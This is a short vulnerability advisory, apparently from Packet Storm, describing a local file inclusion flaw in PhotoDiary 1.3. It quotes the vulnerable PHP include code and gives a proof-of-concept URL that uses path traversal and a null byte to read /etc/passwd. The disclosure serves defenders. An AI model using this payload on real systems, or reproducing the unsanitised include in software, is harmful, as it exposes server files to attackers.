PhotoDiary version 1.3 suffers from a local file inclusion vulnerability.
afc4fcc02018ac5c41a83c40d70ee376PhotoDiary 1.3 (lng) Local File Inclusion Vulnerability
Discovered by cOndemned
download: http://code.google.com/p/photodiary/
source of /admin/install.php (lines 9 - 15):
if (isset($_GET['lng'])){
$LNG = $_GET['lng']; # 1
} else {
$LNG = "ITA";
}
include "../common/language_".$LNG.".php"; # 2
proof of concept:
http://[target_host]/admin/install.php?lng=/../../../../../../etc/passwd%00
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!